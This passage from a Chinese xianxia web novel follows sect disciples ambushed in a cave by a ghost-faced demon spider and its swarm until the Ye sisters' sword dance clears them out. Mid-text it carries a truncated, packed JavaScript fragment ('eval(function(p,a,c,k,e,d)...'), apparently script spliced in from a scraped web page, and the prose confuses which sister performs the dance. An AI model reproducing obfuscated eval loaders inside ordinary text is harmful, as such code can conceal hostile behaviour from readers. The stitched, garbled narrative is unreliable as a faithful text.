弟子们的哀嚎声在山洞内异常凄厉,在众人胆战心惊中,一个黑影闪过,地上又倒了几个弟子。 随后一阵大笑从山洞石壁中传来,像是个老者的声音。 “一群无知小辈,还想取老夫性命,狂妄至极!”说话间,弟子们举着的火把也熄灭了。 黑暗卷土重来,有弟子已经认出来,喝道:“是鬼面魔蛛!” 没想到在这里遇到鬼面魔蛛,岁禾也是心中一寒,这鬼面魔蜘为西部产物,是西部凉州鬼域里的王者级魔物,修为已达到化神。自己当上北境尊主之后,也恰好才胜它一筹,没想到双子塔里,会出现此物。 难怪会用双子塔作为最后考验弟子们的终极试炼。 只是鬼面魔蛛不会单行,作为蜘蛛中的老祖,他出现后,周围必定会魔物满布。 岁禾朝四周看去,四壁黑黝黝的,不一会传来下雨的沙沙声,像是有什么东西在石壁上爬行,快速移动。 沙沙——沙沙沙—— 很有规律的声音,沙沙——沙沙沙——又是那种声音,众人毛骨悚然,头顶之上,仿佛有千万只脚在爬动。 不对,是四面八方的爬动。 众人脸色不由得一变,有灵力深厚之人,又快速点燃火把。 四壁被重新照亮,火光之下,千万只毛茸茸的黑色物体正趴伏在四壁之上,一只只幽绿的眼睛盯着她们。 那是怪物的眼睛,那成千上万之黑色物体,是一只只——“蜘蛛!”人群中不只是谁惊呼一声:“好多蜘蛛!我们被蜘蛛包围了!” 只见山壁上密密麻麻爬满蜘蛛。 虽然之前也在迷雾森林里也遇到很多怪物,但一下子面对这么多让人毛骨悚然的蜘蛛,还是不免让人恐惧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“把手指伸出来。不等小弟子回答,叶芙蕖手腕一扫,已将她手腕捉住,借着剑光划过,那弟子手指肿痛处划开一个口子,黑血溢出。 “把毒血挤出来,黑血出完为止,你自己来。” 小弟子呆呆地开始挤血。其他人则不敢停下来,继续挥剑,阻止前来进攻的蜘蛛。 只是蜘蛛越来越多,弟子中被咬伤之人越来越多,即使一直挥剑,怕终究也是体力难支。 这时人群中走出一个高挑女子,落落大方,眉目清秀,原来是叶芙蕖的妹妹叶流岚。 叶流岚对众人说:“让我试试吧。” 见她姐姐点点头,叶芙蕖才开始执剑,一剑横挥,二剑接至,身随意动,舞若轻虹。 这是她的成名绝招,惯轻虹。轻虹剑,轻虹舞,两者交融。 随着剑舞,周围起雾了,雾越来越浓稠,随后光芒四起,像一阵风吹来,雾散了,视线变得清明,洞内黑暗也被驱尽。 蜘蛛们被光芒照中那一刻,身躯像是着了火,“刺啦刺啦”,先是脚边的蜘蛛没了动静,紧接着头顶山壁上的蜘蛛也坠落在地,不能动弹。 一小会功夫,蜘蛛们全军覆没。 “妹妹好剑法!”却原来是叶芙蕖的声音:“原先以为妹妹不过金丹初期,看来是我小瞧了你,这平日里谁都打不过的样子竟都是装的,轻虹剑你已练到如此地步” “姐姐……”叶流岚收了剑,想解释,又吞吞吐吐不知如何开口。 眼见蜘蛛们都死亡,弟子们也只剩十多人,他们也负伤不轻,准备往之前来的方向走,去找山洞的出口。 没走几步,却听忽听得山壁摇晃,原先那个怪笑声传来:“杀了我这么多徒子徒孙,还想走到哪里去?” 是方才那个老者的声音众人大惊! ——鬼面魔蛛到了。